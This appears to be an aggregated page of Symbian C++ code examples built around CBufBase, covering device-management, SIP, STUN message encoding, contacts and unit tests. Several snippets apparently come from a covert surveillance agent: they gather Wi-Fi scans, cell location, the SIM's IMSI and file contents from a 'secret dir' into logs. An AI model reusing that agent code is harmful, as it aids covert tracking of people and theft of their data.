// -----------------------------------------------------------------------------
// CNSmlDmDevDetailAdapter::AddObjectToBufferL()
// -----------------------------------------------------------------------------
void CNSmlDmDevDetailAdapter::AddObjectToBufferL( CBufBase& aCrcBuf, 
                                                  const TDesC8& aURI )
    {
    CBufBase* buf = CBufFlat::NewL( 1 );
    CleanupStack::PushL( buf );
    FetchLeafObjectL( aURI, *buf );
    aCrcBuf.InsertL( aCrcBuf.Size(), buf->Ptr(0) );
    _LIT8( KNSmlDmSeparator, ";" );
    aCrcBuf.InsertL( aCrcBuf.Size(), KNSmlDmSeparator );
    CleanupStack::PopAndDestroy(); //buf    
    }
Пример #2
0
void CNcdNodeLink::InternalizeRequestL( MCatalogsBaseMessage& aMessage ) const
    {
    DLTRACEIN((""));
    
    CBufBase* buf = CBufFlat::NewL( KBufExpandSize );
    CleanupStack::PushL( buf );
    
    RBufWriteStream stream( *buf );
    CleanupClosePushL( stream );


    // Include all the necessary node data to the stream
    ExternalizeDataForRequestL( stream );     
    
    
    // Commits data to the stream when closing.
    CleanupStack::PopAndDestroy( &stream );

    if ( buf->Size() > 0 ) 
        {
        DLTRACE(( "Completing the message, buf len: %d", buf->Ptr(0).Length() ));
        }
    // If this leaves, ReceiveMessage function will complete the message.
    aMessage.CompleteAndReleaseL( buf->Ptr( 0 ), KErrNone );
        
    
    DLTRACE(("Deleting the buf"));
    CleanupStack::PopAndDestroy( buf );
        
    DLTRACEOUT((""));
    }
// -----------------------------------------------------------------------------
//  CNSmlDmDevDetailAdapter::FetchLeafObjectSizeL( const TDesC8& aURI, 
// const TDesC8& aLUID, const TDesC8& aType, const TInt aResultsRef, 
// const TInt aStatusRef )
// -----------------------------------------------------------------------------
void CNSmlDmDevDetailAdapter::FetchLeafObjectSizeL( const TDesC8& aURI, 
                                                    const TDesC8& /*aLUID*/, 
                                                    const TDesC8& aType, 
                                                    const TInt aResultsRef, 
                                                    const TInt aStatusRef )
    {
    _DBG_FILE("CNSmlDmDevDetailAdapter::FetchLeafObjectSizeL(): begin");

    CBufBase *object = CBufFlat::NewL( 1 );
    CleanupStack::PushL( object );
    CSmlDmAdapter::TError retValue = FetchLeafObjectL( aURI, *object );

    TInt objSizeInBytes = object->Size();
    TBuf8<KNSmlMaxSizeBufferLength> stringObjSizeInBytes;
    stringObjSizeInBytes.Num( objSizeInBytes );
    object->Reset();
    object->InsertL( 0, stringObjSizeInBytes );
    
    iDmCallback->SetStatusL( aStatusRef, retValue );
    iDmCallback->SetResultsL( aResultsRef, *object, aType);
    CleanupStack::PopAndDestroy(); //object 

            
    _DBG_FILE("CNSmlDmDevDetailAdapter::FetchLeafObjectSizeL(): end");
    }
Пример #4
0
void ut_cstunbinding::UT_CSTUNBinding_HandleDataLL(  )
    {
    _LIT8( KPassword,"aaaabbbbccccdddd");
    TBufC8<16> password( KPassword );
    _LIT8( KTransactionId,"aaaabbbb");
    TNATFWUNSAFTransactionID transactionID;
    transactionID.Copy( KTransactionId );    
    
    CNATFWUNSAFBindingRequest* request = CNATFWUNSAFBindingRequest::NewLC( transactionID );
    CBufBase* msg = request->EncodeL( password );
    CleanupStack::PushL( msg );        
    TInt length = msg->Size();
    HBufC8* readBuf1 = HBufC8::NewLC( length );
    TPtr8 writable1( readBuf1->Des() );
    msg->Read( 0, writable1 );
    
    TInetAddr remoteAddr;
    TBool consumed = EFalse;    
    HBufC8* ptr = iBinding->HandleDataL( *readBuf1, consumed, remoteAddr );    
    EUNIT_ASSERT( NULL == ptr );             
    EUNIT_ASSERT( EFalse == consumed );
    
    delete ptr;
    CleanupStack::PopAndDestroy( readBuf1 );
    CleanupStack::PopAndDestroy( msg );
    CleanupStack::PopAndDestroy( request );  
    }
Пример #5
0
HBufC8* CAgentPosition::GetWiFiBufferL(TLocationAdditionalData* additionalData)
	{
	CBufBase* buffer = CBufFlat::NewL(50);
	CleanupStack::PushL(buffer);
	
	CWlanScanInfo* scanInfo=CWlanScanInfo::NewL();
	CleanupStack::PushL(scanInfo);
	CWlanMgmtClient* client=CWlanMgmtClient::NewL();
	CleanupStack::PushL(client);
	client->GetScanResults(*scanInfo);

	for(scanInfo->First(); !scanInfo->IsDone(); scanInfo->Next() )
	{
	
		TWiFiInfo wifiInfo;
		Mem::FillZ(&wifiInfo,sizeof(wifiInfo));
		
		//Retrieve BSSID
		TWlanBssid bssid;
		scanInfo->Bssid( bssid );
		//wifiInfo.macAddress.Zero();
		//wifiInfo.macAddress.Copy(bssid);
		for(TInt k = 0; k < bssid.Length(); k++)
			wifiInfo.macAddress[k] = bssid[k];
		
		//Retrieve transmision level
		TInt8 rxLevel = scanInfo->RXLevel();
		wifiInfo.rssi = rxLevel;
		
		//Retrieve SSID
		TBuf8<36> ssid;
		TInt err;
		err = GetSSID(scanInfo, ssid);
		if(err == KErrNone)
		{
			wifiInfo.ssidLen = ssid.Length();
			for(TInt i=0; i<wifiInfo.ssidLen; i++)
				wifiInfo.ssid[i] = ssid[i]; 
		}
		else 
		{
			wifiInfo.ssidLen = 0;
		}
		
		additionalData->uStructNum += 1;
		
		buffer->InsertL(buffer->Size(), &wifiInfo, sizeof(TWiFiInfo));
	}

	CleanupStack::PopAndDestroy(client);
	CleanupStack::PopAndDestroy(scanInfo);
	
	HBufC8* result = buffer->Ptr(0).AllocL();
	CleanupStack::PopAndDestroy(buffer);
	
	return result;
	}
Пример #6
0
// ----------------------------------------------------------------------------
// TTCPCompMsgEnd::DataReceivedL
// ----------------------------------------------------------------------------
//
void TTCPCompMsgEnd::DataReceivedL( TPtr8 aData, TUint&  aNextLength )
	{
	// panic if sigcomp is not supported in debug mode.leaves in release mode.
	__SIP_ASSERT_LEAVE(	iMsgAssembler.SigComp().IsSupported(), KErrGeneral );
	// panic if received data is not compressed in debug mode.
	// leaves in release mode.
	__SIP_ASSERT_LEAVE(	iMsgAssembler.SigComp().IsSigCompMsg( aData ), 
	                    KErrGeneral );
	// panic if received data is not completed compressed msg in debug mode.
	// leaves in release mode.
	__SIP_ASSERT_LEAVE(	
			iMsgAssembler.SigComp().IsCompleteSigCompMessageL( aData ), 
	        KErrGeneral );
	        
	TUint bytesConsumed( 0 );
	CBufBase* decompressedData = iMsgAssembler.SigComp().DecompressL( 
											aData, bytesConsumed, ETrue);

    TUint dataLen( static_cast<TUint>( aData.Length() ) );
    
    // Whole data was not decompressed and non-decompressed data might
	// be part of next sigcomp message, remember amount of non-decompressed
	// data
	iMsgAssembler.SetUnConsumedBytes( dataLen - bytesConsumed );
		
	if ( bytesConsumed < dataLen )
		{	
    	CleanupStack::PushL(decompressedData);
		aData.Delete(0, bytesConsumed);

		HBufC8* newData = 
		   HBufC8::NewL( decompressedData->Size() + aData.Length() );
	    // copy the msg buffer data and the received data to new data buffer
	    TPtr8 newDataPtr = newData->Des();
	    newDataPtr.Append(decompressedData->Ptr(0));
 	    CleanupStack::PopAndDestroy(decompressedData);
	    newDataPtr.Append(aData);
	    // delete all content of received data
	    aData.Delete( 0, aData.Length() );
  	    CleanupStack::PushL(newData);
  	    DecideNextStateL( newDataPtr, aNextLength );
	    CleanupStack::PopAndDestroy(newData);	
		}	
	else if ( bytesConsumed == dataLen )
		{
		CleanupStack::PushL( decompressedData );
		aData.Delete(0, bytesConsumed);	
		TPtr8 decompressedDataPtr = decompressedData->Ptr(0);
	    DecideNextStateL( decompressedDataPtr, aNextLength );
	    CleanupStack::PopAndDestroy( decompressedData );
		}
	else // bytesConsumed > dataLen error happens, reset the state
		{
		delete decompressedData;
		iMsgAssembler.ChangeState( MMsgAssemblerContext::EMsgInit );
		}				
	}
//Encode UNSAF message with two attributes
void UT_CNATFWUNSAFMessage::TestEncode4L()
    {
    const TUint8 KExpectedResult[] =
        {
        0, 1, //UNSAF message type: Binding Request
        0, 36, //Message length
        0x21, 0x12, 0xa4, 0x42, //Magic cookie
        0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0xa, 0xb, //TransactionID

        //ERROR-CODE attribute
        0, 9,  //type
        0, 20, //length of value element
        0, 0, //zero
        2,  //class
        25, //number
        'E', 'r', 'r', 'o', //Reason Phrase
        'r', ' ', 'r', 'e',
        's', 'u', 'l', 't',
        ' ', 'n', 'o', 'w',

        //UNKNOWN-ATTRIBUTES attribute
        0, 0xa, //type
        0, 8, //length of value element
        0x12, 0x34, //first unknown attribute
        0xab, 0x0c,
        0xff, 0x90,
        0x12, 0x34        //repeated attribute
        };

    _LIT8(KReason, "Error result now");
    TInt responseCode = 225;
    CNATFWUNSAFAttribute* attr =
        CNATFWUNSAFErrorCodeAttribute::NewLC(responseCode, KReason);
    iMsg->AddAttributeL(attr);
    CleanupStack::Pop(attr);
    attr = NULL;

    TUint attrType = 0x1234;
    TUint attrType2 = 0xab0c;
    TUint attrType3 = 0xff90;

    CNATFWUNSAFUnknownAttributesAttribute* uaAttr =
        CNATFWUNSAFUnknownAttributesAttribute::NewLC();
    uaAttr->AddContainedAttributeL(attrType);
    uaAttr->AddContainedAttributeL(attrType2);
    uaAttr->AddContainedAttributeL(attrType3);

    iMsg->AddAttributeL(uaAttr);
    CleanupStack::Pop(uaAttr);

    CBufBase* msg = iMsg->EncodeL();

    CleanupStack::PushL(msg);
    EUNIT_ASSERT(CNATFWUNSAFMessage::EHeaderSize + 36 == msg->Size());
    CompareEncodedUNSAFMessageL(KExpectedResult, *msg);
    CleanupStack::PopAndDestroy(msg);
    }
Пример #8
0
/**
Searches all contact items in the view for fields that contain the search
strings specified. 

@capability ReadUserData
@param aFindWords A descriptor array containing one or more search strings
@param aMatchedContacts On return, an array of matching contact items
@param find behaviour configuration uid to be passed to the server.
 */
void RContactRemoteView::ContactsMatchingCriteriaL(const MDesCArray& aFindWords, RPointerArray<CViewContact>& aMatchedContacts, TBool aPrefixSearch,TUid aUid)
    {
    if(aUid != KNullUid)
        {
        TIpcArgs args(aUid.iUid);
        User::LeaveIfError(SendReceive(ECntSendPluginUidToServer,args));
        }
    CBufBase* buffer = CBufFlat::NewL(32);
    CleanupStack::PushL(buffer);
    RBufWriteStream writeStream(*buffer);
    CleanupClosePushL(writeStream);

    writeStream.WriteUint32L(aPrefixSearch);
    const TInt count = aFindWords.MdcaCount();
    writeStream.WriteUint32L(count);
    for (TInt i=0; i<count; ++i)
        {
        TPtrC ptr = aFindWords.MdcaPoint(i);
        writeStream.WriteUint32L(ptr.Length());
        writeStream << ptr;
        }
    
    writeStream.CommitL();
    CleanupStack::PopAndDestroy(&writeStream); //writeStream.Close()

    TPtr8 ptr(buffer->Ptr(0));
    const TInt bufferSize = buffer->Size();
    TPckg<TInt> size(bufferSize);

    TPckgBuf<TInt> pckg;
    TIpcArgs args(&pckg,&size,&ptr);
    User::LeaveIfError(SendReceive(ECntContactMatchingCriteriaExternalizedSize,args));
    CleanupStack::PopAndDestroy(buffer);

    //Internalize Contacts
    HBufC8* buf=HBufC8::NewLC(pckg());
    TPtr8 contactsbufPtr(buf->Des());
    TIpcArgs args2(&contactsbufPtr);
    User::LeaveIfError(SendReceive(ECntGetContactMatchingCriteria,args2));

    RDesReadStream readStream(contactsbufPtr);
    CleanupClosePushL(readStream);
    const TInt findCount = readStream.ReadUint32L();
    for (TInt zz=0;zz<findCount;++zz)
        {
        CViewContact* thisContact = CViewContact::NewLC(KNullContactId);
        readStream >> *thisContact;
        aMatchedContacts.AppendL(thisContact);
        CleanupStack::Pop(thisContact);
        }
    CleanupStack::PopAndDestroy(2, buf);
    }
Пример #9
0
void CStateDownload::DumpFileL(const TDesC& aFileName)
	{
	_LIT(KNull,"\x00");
	_LIT(KDir,"$dir$");
	TDownloadAdditionalData additionalData;
		
	//check if file it's inside RCS secret dir
	TParsePtrC parsePtrC(aFileName);
	
	if(iPrivatePath.CompareF(parsePtrC.DriveAndPath())==0)
		{
		//the file is in the private dir, we have to modify the path
		additionalData.fileName.Copy(KDir);
		additionalData.fileName.Append(parsePtrC.NameAndExt());
		additionalData.fileName.Append(KNull);  //add NULL terminator
		additionalData.uFileNamelen = additionalData.fileName.Size();
		}
	else
		{
		additionalData.fileName.Copy(aFileName);   
		additionalData.fileName.Append(KNull);	//add NULL terminator  
		additionalData.uFileNamelen = additionalData.fileName.Size();
		}
	
	RBuf8 fileBuf(FileUtils::ReadFileContentsL(iFs, aFileName));
	if(fileBuf.Size()>0)
		{
		fileBuf.CleanupClosePushL();
		CLogFile* logFile = CLogFile::NewLC(iFs);
		logFile->CreateLogL(LOGTYPE_DOWNLOAD, &additionalData);
		logFile->AppendLogL(fileBuf);    
		logFile->CloseLogL();
		CleanupStack::PopAndDestroy(logFile);
		CleanupStack::PopAndDestroy(&fileBuf);
		}
	else 
		{
		//something went wrong, usually a KErrNoMemory has been raised
		_LIT(KDownloadError,"Error in downloading file");
		CBufBase* buffer = CBufFlat::NewL(50);
		CleanupStack::PushL(buffer);
		buffer->InsertL(buffer->Size(),(TUint8*)KDownloadError().Ptr(),KDownloadError().Size());
		HBufC8* byteBuf = buffer->Ptr(0).AllocLC();
		CLogFile* logFile = CLogFile::NewLC(iFs);
		logFile->CreateLogL(LOGTYPE_INFO);
		logFile->AppendLogL(*byteBuf);
		logFile->CloseLogL();
		CleanupStack::PopAndDestroy(logFile);
		CleanupStack::PopAndDestroy(byteBuf);
		CleanupStack::PopAndDestroy(buffer);
		}
	}
// ------------------------------------------------------------------------------------------------
// CNSmlDataModBase::MergeRxL
// Merges received item with item in exported from the local database.
// ------------------------------------------------------------------------------------------------
EXPORT_C void CNSmlDataModBase::MergeRxL( CBufBase& aNewItem, CBufBase& aOldItem, TBool aFieldLevel )
	{
	_DBG_FILE("CNSmlDataModBase::MergeRxL(): begin");
	if( NeedsMerge() )
		{
		HBufC8* b1 = HBufC8::NewLC(aNewItem.Size() + aOldItem.Size());
		*b1 = aNewItem.Ptr(0);
		TPtr8 ptrB1 = b1->Des();
		TPtr8 p2 = aOldItem.Ptr(0);

		MergeL( ptrB1, p2, aFieldLevel );

		aNewItem.Reset();
		aNewItem.InsertL(0, ptrB1);
		CleanupStack::PopAndDestroy(); // b1
		}
	else if ( iUsedRemoteMimeType == -1 )
		{
		User::Leave( KErrNotFound );
		}
	_DBG_FILE("CNSmlDataModBase::MergeRxL(): end");
	}
Пример #11
0
HBufC8* CEventSimChange::GetImsiBufferL(const TDesC8& aImsi)
{
	CBufBase* buffer = CBufFlat::NewL(50);
	CleanupStack::PushL(buffer);
	
	TUint32 len = sizeof(len) + aImsi.Size();
	buffer->InsertL(buffer->Size(), &len, sizeof(len));
	buffer->InsertL(buffer->Size(), aImsi.Ptr(), aImsi.Size());

	HBufC8* result = buffer->Ptr(0).AllocL();
	CleanupStack::PopAndDestroy(buffer);
	return result;
}
// ------------------------------------------------------------------------------------------------
// CNSmlDataModBase::StripTxL
// Strips data that is to be transmitted to the sync partner.
// ------------------------------------------------------------------------------------------------
EXPORT_C void CNSmlDataModBase::StripTxL( CBufBase& aItem )
	{
	_DBG_FILE("CNSmlDataModBase::StripTxL(): begin");
	HBufC8* buf = HBufC8::NewLC(aItem.Size());
	*buf = aItem.Ptr(0);
	TPtr8 ptrBuf = buf->Des();

	StripL(ptrBuf);

	aItem.Reset();
	aItem.InsertL(0, ptrBuf);
	CleanupStack::PopAndDestroy(); // buf
	_DBG_FILE("CNSmlDataModBase::StripTxL(): end");
	}
void CVBookmarkConverter::ExportVBookmarkL( CBufBase& aBuffer )
    {
    LOGGER_ENTERFN( "CVBookmarkConverter::ExportVBookmarkL" );
    
    iDesc = NULL;
    iBuffer = &aBuffer;
    iWriteBufPosition = 0;
    iWriteBufSize = aBuffer.Size();     
    
    ExportL();  
    iBuffer->ResizeL( iWriteBufPosition );    
    
    LOGGER_LEAVEFN( "CVBookmarkConverter::ExportVBookmarkL" );
    }
Пример #14
0
HBufC8* CAgentAddressbook::GetTTimeBufferL(const TTime aTime)
{
	TInt64 timestamp = aTime.Int64();
	CBufBase* buffer = CBufFlat::NewL(50);
	CleanupStack::PushL(buffer);
	
	TUint32 len = sizeof(len) + sizeof(timestamp);
	buffer->InsertL(buffer->Size(), &len, sizeof(len));
	buffer->InsertL(buffer->Size(), &timestamp, sizeof(timestamp));

	HBufC8* result = buffer->Ptr(0).AllocL();
	CleanupStack::PopAndDestroy(buffer);
	return result;
}
Пример #15
0
// -----------------------------------------------------------------------------
// CNATFWUNSAFMessage::EncodeL
// 1. Encode the UNSAF message normally.
// 2. Create a MESSAGE-INTEGRITY attribute. This updates also the header's
//    length field to include the MESSAGE-INTEGRITY before computing the hash.
// 3. Encode it to the last attribute of the UNSAF message.
// 4. Create a FINGERPRINT attribute. This updates also the header's
//    length field to include the FINGERPRINT before computing the hash.
// 5. Encode it to the last attribute of the UNSAF message.
// -----------------------------------------------------------------------------
//
EXPORT_C CBufBase* CNATFWUNSAFMessage::EncodeL(
    const TDesC8& aSharedSecret,
    TBool aUseFingerprint) const
{
    CBufBase* msg = EncodeL();
    CleanupStack::PushL(msg);
    if ( aSharedSecret.Length() )
    {
        //Long term credentials need be used if there's a REALM attribute
        CNATFWUNSAFMessageIntegrityAttribute* msgIntegrity =
            CNATFWUNSAFMessageIntegrityAttribute::NewLC(aSharedSecret, *msg,
                    HasAttribute( CNATFWUNSAFAttribute::ERealm ));

        HBufC8* encodedMsgIntegrity = msgIntegrity->EncodeL();
        CleanupStack::PushL(encodedMsgIntegrity);
        msg->InsertL(msg->Size(), *encodedMsgIntegrity);
        CleanupStack::PopAndDestroy(encodedMsgIntegrity);
        CleanupStack::PopAndDestroy(msgIntegrity);
    }
    if ( aUseFingerprint )
    {
        CNATFWUNSAFFingerprintAttribute* fingerprint =
            CNATFWUNSAFFingerprintAttribute::NewLC(*msg);

        HBufC8* encodedFingerprint = fingerprint->EncodeL();
        CleanupStack::PushL(encodedFingerprint);
        msg->InsertL(msg->Size(), *encodedFingerprint);
        CleanupStack::PopAndDestroy(encodedFingerprint);
        CleanupStack::PopAndDestroy(fingerprint);
    }

    CleanupStack::Pop(msg);
    msg->Compress();

    return msg;
}
//Encode UNSAF message with two attributes
void UT_CNATFWUNSAFMessage::TestEncode3L()
    {
    const TUint8 KExpectedResult[] =
        {
        0, 1, //UNSAF message type: Binding Request
        0, 24, //Message length
        0x21, 0x12, 0xa4, 0x42, //Magic cookie
        0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0xa, 0xb, //TransactionID

        //RESPONSE-ADDRESS attribute
        0, 2, //type
        0, 8, //length of value element
        0, //undefined
        1, //family
        0xab, 0xcd, //port
        5, 6, 7, 8, //address

        //MAPPED-ADDRESS attribute
        0, 1, //type
        0, 8, //length of value element
        0, //undefined
        1, //family
        0x12, 0x34, //port
        0x50, 0x40, 0xff, 0xaa //address
        };

    TInetAddr addr(INET_ADDR(5,6,7,8), 0xabcd);
    CNATFWUNSAFAttribute* attr =
        CNATFWUNSAFResponseAddressAttribute::NewLC(addr);
    iMsg->AddAttributeL(attr);
    CleanupStack::Pop(attr);
    attr = NULL;


    TInetAddr addr2(0x5040ffaa, 0x1234);
    attr = CNATFWUNSAFMappedAddressAttribute::NewLC(addr2);
    iMsg->AddAttributeL(attr);
    CleanupStack::Pop(attr);


    CBufBase* msg = iMsg->EncodeL();

    CleanupStack::PushL(msg);
    EUNIT_ASSERT(CNATFWUNSAFMessage::EHeaderSize + 24 == msg->Size());
    CompareEncodedUNSAFMessageL(KExpectedResult, *msg);

    CleanupStack::PopAndDestroy(msg);
    }
Пример #17
0
HBufC8* CAgentPosition::GetCellIdBufferL()
	{
	TUint cellId=0;
	TUint lac=0;
	TInt32 signalStrength = 0;
	TBuf<CTelephony::KNetworkIdentitySize> network;
	TBuf<CTelephony::KNetworkCountryCodeSize> cc;
	TBuf<CTelephony::KNetworkLongNameSize> oper;
	iPhone->GetCellIDSync(cellId, lac, network, cc, oper);
	iPhone->GetSignalStrengthSync(signalStrength);  // signalStrength is set to 0 if not available

	cellId = cellId & 0xFFFF;   // jo, maybe redundant
	
	CBufBase* buffer = CBufFlat::NewL(50);
	CleanupStack::PushL(buffer);
	TCellInfo cellInfo;
	
	TTime now;
	now.UniversalTime();
	//TInt64 filetime = GetFiletime(now);
	TInt64 filetime = TimeUtils::GetFiletime(now);
	cellInfo.filetime.dwHighDateTime = (filetime >> 32);
	cellInfo.filetime.dwLowDateTime = (filetime & 0xFFFFFFFF);
		
	// Converts CountryCode from string to number
	TLex lex(cc);
	lex.Val(cellInfo.cell.dwMobileCountryCode, EDecimal);
	// Converts NetworkCode from string to number
	lex.Assign(network);
	lex.Val(cellInfo.cell.dwMobileNetworkCode, EDecimal);
	cellInfo.cell.dwLocationAreaCode = lac;
	cellInfo.cell.dwCellID = cellId;

	cellInfo.cell.dwTimingAdvance = 0;  // there are no public APIs for this
	cellInfo.cell.dwRxLevel = signalStrength;   
	cellInfo.cell.dwRxQuality = 0;
	
	TUint32 type = TYPE_CELL;
	buffer->InsertL(0, &type, sizeof(TUint32));
	buffer->InsertL(buffer->Size(), &cellInfo, sizeof(TCellInfo));
	

	HBufC8* result = buffer->Ptr(0).AllocL();
	
	CleanupStack::PopAndDestroy(buffer);
	return result;
	}
//Encode UNSAF message without any attributes
void UT_CNATFWUNSAFMessage::TestEncodeL()
    {
    const TUint8 KExpectedResult[] =
        {
        0, 1, //UNSAF message type: Binding Request
        0, 0, //Message length
        0x21, 0x12, 0xa4, 0x42, //Magic cookie
        0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0xa, 0xb //TransactionID
        };

    CBufBase* msg = iMsg->EncodeL();

    CleanupStack::PushL(msg);
    EUNIT_ASSERT(CNATFWUNSAFMessage::EHeaderSize == msg->Size());
    CompareEncodedUNSAFMessageL(KExpectedResult, *msg);
    CleanupStack::PopAndDestroy(msg);
    }
// -----------------------------------------------------------------------------
// CNATFWUNSAFAttribute::EncodeL
// -----------------------------------------------------------------------------
//
HBufC8* CNATFWUNSAFAttribute::EncodeL() const
    {
    HBufC8* value = EncodeValueL();
    CleanupStack::PushL(value);
    TInt attrValLength = value->Length();

    //Pad non-DWORD-boundary aligned attributes with spaces if needed. Spaces
    //used instead of \0 in order to not mess up buggy C implementations.
    const TInt KGranularity = 4;
    TInt bytesInLastBlock = attrValLength % KGranularity;
    TInt bytesToAppend = KGranularity - bytesInLastBlock;
    if (0 < bytesInLastBlock && !IsWordBoundaryAligned(Type()))
        {
        CBufBase* valueBuf = CBufFlat::NewL(attrValLength + bytesToAppend);
        CleanupStack::PushL(valueBuf);
        valueBuf->InsertL(0, *value, attrValLength);
        const TChar KSpace(' ');
        for (TInt i = 0; i < bytesToAppend; ++i)
            {
            valueBuf->InsertL(valueBuf->Size(), &KSpace, 1);
            }
        // Store value pointer for proper cleanupstack handling
        HBufC8* oldValue = value;
        value = valueBuf->Ptr(0).AllocL();
        CleanupStack::PopAndDestroy(valueBuf);
        CleanupStack::PopAndDestroy( oldValue );
        CleanupStack::PushL( value );
        }

    HBufC8* attribute = HBufC8::NewLC(value->Length() + EValueOffset);
    TPtr8 ptr = attribute->Des();
    ptr.FillZ(EValueOffset);

    NATFWUNSAFUtils::WriteNetworkOrder16L(ptr, ETypeOffset, Type());
    NATFWUNSAFUtils::WriteNetworkOrder16L(ptr,
                                     ELengthOffset,
                                     static_cast<TUint16>(attrValLength));
    ptr.Append(*value);
    CleanupStack::Pop(attribute);
    CleanupStack::PopAndDestroy(value);

    return attribute;
    }
/*!
 * Fetch contact
 */
TInt CNsmlContactsDataStoreExtensionPrivate::ExportContactsL( const TUid &uid, CBufBase &contactbufbase )
{
    DBG_ARGS(_S("CNsmlContactsDataStoreExtensionPrivate::ExportContactsL: BEGIN: UID: %d"), uid);
   
    TInt error(KErrNone);
    QList<QContact> contacts;
    QBuffer contactsbuf;
    contactsbuf.open(QBuffer::ReadWrite);    
    mWriter->setDevice( &contactsbuf );  
    QContact contact = mContactManager->contact( uid.iUid );
    error = mContactManager->error();
    if( error != QContactManager::NoError )
        {
        DBG_ARGS(_S("CNsmlContactsDataStoreExtensionPrivate::ExportContactsL:Error %d"), error );
        return error; 
        }
	contacts.append( contact );    
    
    if( mExporter->exportContacts( contacts, QVersitDocument::VCard21Type ) )
        {
        QList<QVersitDocument> documents = mExporter->documents();        
        mWriter->startWriting( documents );
        bool status = mWriter->waitForFinished();  
        DBG_ARGS(_S("CNsmlContactsDataStoreExtensionPrivate::ExportContactsL:status %d"), status);  
        HBufC8* buf = XQConversions::qStringToS60Desc8( contactsbuf.data() );
        contactbufbase.InsertL( contactbufbase.Size(), *buf );
        delete buf;
        }
    else
        {
        error = KErrGeneral;
        DBG_ARGS(_S("CNsmlContactsDataStoreExtensionPrivate::ExportContactsL:Error in exporting %d"), error );
        }
    
    TPtr8 ptrbuf(contactbufbase.Ptr(0));
    DBG_DUMP( (void*)ptrbuf.Ptr(), ptrbuf.Length(),
           _S8("CNsmlContactsDataStoreExtensionPrivate::ExportContactsL: From DB:"));  
    
    _DBG_FILE("CNsmlContactsDataStoreExtensionPrivate::ExportContactsL: END");
    
    return error;
}
// -----------------------------------------------------------------------------
// CNSmlDmDevDetailAdapter::DevDetailValueCrcL()
// -----------------------------------------------------------------------------
TInt CNSmlDmDevDetailAdapter::DevDetailValueCrcL()
    {
    CBufBase* crcBuf = CBufFlat::NewL( 1 );
    CleanupStack::PushL( crcBuf );
    
    AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailDevTypNodeName() );
    AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailOEMNodeName() );
    AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailFwVNodeName() );
    AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailSwVNodeName() );
    AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailHwVNodeName() );
    AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailLrgObjNodeName() );
    AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailMaxDepthNodeName() );
    AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailMaxTotLenNodeName() );
    AddObjectToBufferL( *crcBuf, KNSmlDMDevDetailMaxSegLenNodeName() );
    
    TUint16 crc = 0;
    Mem::Crc( crc, crcBuf->Ptr(0).Ptr(), crcBuf->Size() );
    CleanupStack::PopAndDestroy();  // crcBuf
    return crc;
    }
void UT_CNATFWUNSAFMessage::TestEncodeWithHashL()
    {
    const TUint8 KExpectedResult[] =
        {
        0, 1, //UNSAF message type: Binding Request
        0, 36, //Message length
        0x21, 0x12, 0xa4, 0x42, //Magic cookie
        0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0xa, 0xb, //TransactionID

        //RESPONSE-ADDRESS attribute
        0, 2, //type
        0, 8, //length of value element
        0, //undefined
        1, //family
        0xab, 0xcd, //port
        5, 6, 7, 8, //address

        //MESSAGE-INTEGRITY attribute
        0, 8, //type
        0, SHA1_HASH //length of value element
        //???? //HMAC: To be found out how to verify HMAC correctness
        };

    TInetAddr addr(INET_ADDR(5,6,7,8), 0xabcd);
    CNATFWUNSAFAttribute* attr =
        CNATFWUNSAFResponseAddressAttribute::NewLC(addr);
    iMsg->AddAttributeL(attr);
    CleanupStack::Pop(attr);
    attr = NULL;

    CBufBase* msg = iMsg->EncodeL(_L8("password"));

    CleanupStack::PushL(msg);
    EUNIT_ASSERT(CNATFWUNSAFMessage::EHeaderSize + 36 == msg->Size());

    //Compare up to the beginning of HMAC
    CompareEncodedUNSAFMessageL(KExpectedResult, *msg,
                                CNATFWUNSAFMessage::EHeaderSize + 16);

    CleanupStack::PopAndDestroy(msg);
    }
Пример #23
0
// -----------------------------------------------------------------------------
// CNATFWUNSAFMessage::EncodeL
// -----------------------------------------------------------------------------
//
EXPORT_C CBufBase* CNATFWUNSAFMessage::EncodeL() const
{
    CBufBase* msg = EncodeMessageHeaderLC();

    for (TInt i = 0; i < iAttributes.Count(); ++i)
    {
        if (iAttributes[i]->Type() != CNATFWUNSAFAttribute::EMessageIntegrity &&
                iAttributes[i]->Type() != CNATFWUNSAFAttribute::EFingerprint)
        {
            HBufC8* attribute = iAttributes[i]->EncodeL();
            CleanupStack::PushL(attribute);
            msg->InsertL(msg->Size(), *attribute);
            CleanupStack::PopAndDestroy(attribute);
        }
    }
    CleanupStack::Pop(msg);
    msg->Compress();
    SetMessageLength(*msg);

    return msg;
}
Пример #24
0
DMAD_EXPORT_C void CDmAdEngine::FetchLeafObjectSizeL(const TDesC8& aUri,
                                                     const TDesC8& aLuid,
                                                     const TDesC8& aType,
                                                     TInt aResultsRef,
                                                     TInt aStatusRef)
    {
    TRACE("CDmAdEngine::FetchLeafObjectSizeL");
        
    DEBUG_LOG1(_L8("aUri %S"), &aUri);
    DEBUG_LOG1(_L8("aLuid %S"), &aLuid);
    DEBUG_LOG1(_L8("aType %S"), &aType);
    DEBUG_LOG2(_L("aResultsRef = %d, aStatusRef = %d"), aResultsRef, aStatusRef);
    
    TPtrC8 uri(TDmAdUtil::RemoveDotSlash(aUri));
    TInt status = KErrNone;
    CBufBase* object = 0;
    TRAPD(err, status = DoFetchLeafObjectL(uri, aLuid, aType, object));
    if (err != KErrNone)
        {
        iCallBack->SetStatusL(aStatusRef, err);
        return;
        }
    if (status != KErrNone)
        {
        delete object;
        iCallBack->SetStatusL(aStatusRef, status);
        return;
        }
    
    CleanupStack::PushL(object);
    TInt objSizeInBytes = object->Size();
    HBufC8* sizeBuf = TDmAdUtil::IntToDes8LC(objSizeInBytes);
    object->Reset();
    object->InsertL(0, *sizeBuf);
        
    iCallBack->SetResultsL(aResultsRef, *object, aType);
    iCallBack->SetStatusL(aStatusRef, status);
    CleanupStack::PopAndDestroy(2); //sizeBuf, object
    }
Пример #25
0
/**
Convert between view indexes and contact ids.
This method makes the request to the server.
@capability ReadUserData
 */
